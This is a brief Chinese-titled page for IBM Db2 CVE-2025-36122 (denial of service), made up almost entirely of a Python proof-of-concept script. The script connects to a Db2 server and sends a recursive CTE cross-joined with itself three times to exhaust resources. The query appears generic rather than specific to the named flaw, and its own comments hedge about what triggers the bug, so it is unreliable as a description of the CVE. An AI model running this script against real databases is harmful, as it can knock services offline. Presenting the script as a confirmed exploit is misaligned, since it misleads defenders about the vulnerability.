CVE-2025-36122 IBM Db2 拒绝服务漏洞

import ibm_db import sys # Proof of Concept for CVE-2025-36122 # This script demonstrates a potential DoS scenario via resource-intensive query. # NOTE: For educational/testing purposes only on authorized systems. def trigger_dos(conn_str): try: conn = ibm_db.connect(conn_str, "", "") print("[+] Connected to IBM Db2") # A crafted query designed to exhaust resources due to improper allocation # Example: Recursive CTE or Cartesian product that triggers the bug malicious_query = """ WITH RECURSIVE CTE(n) AS ( SELECT 1 FROM sysibm.sysdummy1 UNION ALL SELECT n+1 FROM CTE WHERE n < 1000000 ) SELECT * FROM CTE A, CTE B, CTE C; """ print("[*] Sending crafted SQL query...") stmt = ibm_db.exec_immediate(conn, malicious_query) # Fetch results to force execution ibm_db.fetch_both(stmt) except Exception as e: print(f"[!] Error occurred (DoS likely triggered): {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Replace with actual connection string connection_string = "DATABASE=testdb;HOSTNAME=localhost;PORT=50000;UID=db2inst1;PWD=password;" trigger_dos(connection_string)